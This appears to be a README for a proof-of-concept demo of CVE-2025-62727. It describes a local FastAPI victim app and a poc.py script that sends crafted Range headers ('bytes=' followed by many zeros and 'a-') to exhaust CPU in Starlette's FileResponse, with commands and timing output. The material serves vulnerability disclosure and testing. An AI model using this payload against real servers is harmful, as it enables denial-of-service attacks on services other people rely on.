CVE-2025-62727 Demo

Victim Description

The target victim of CVE-2025-62727 is a simple FastAPI app that:

• Serves Hello World at /.
• Serves static files under /static using Starlette's StaticFiles.
• Auto-generates text files containing A repeated N times for N in 1024, 2048, 50176 on startup.

How to run victim

1. (Optional) Create and activate a virtualenv.

2. Install dependencies:

   pip install -r requirements.txt
   

3. Start the server:

   uvicorn main:app --reload
   

4. Open:

• http://127.0.0.1:8000/ for the index page.
• http://127.0.0.1:8000/static/1024.txt etc. for static files.

Notes

• Static files are generated under the static/ directory on app startup. Existing files are not overwritten.
• Static serving uses Starlette's StaticFiles as requested.

PoC: CVE-2025-62727 (Range header parsing)

The included poc.py triggers CPU-heavy Range parsing in Starlette's FileResponse via the /static route using a crafted header of the form bytes=000...000a-.

Run the server, then in another shell:

python3 poc.py --sizes 1000,2000,4000,7000

Override the target URL (optional):

python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000

Notes:

• The PoC targets http://127.0.0.1:8000/static/50176.txt by default (a file the app generates). Use --url to change it.
• Adjust --sizes downward if you see 400/431 (header too large), or upward if headers succeed and you want a stronger effect.

Result Exmaple:

$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms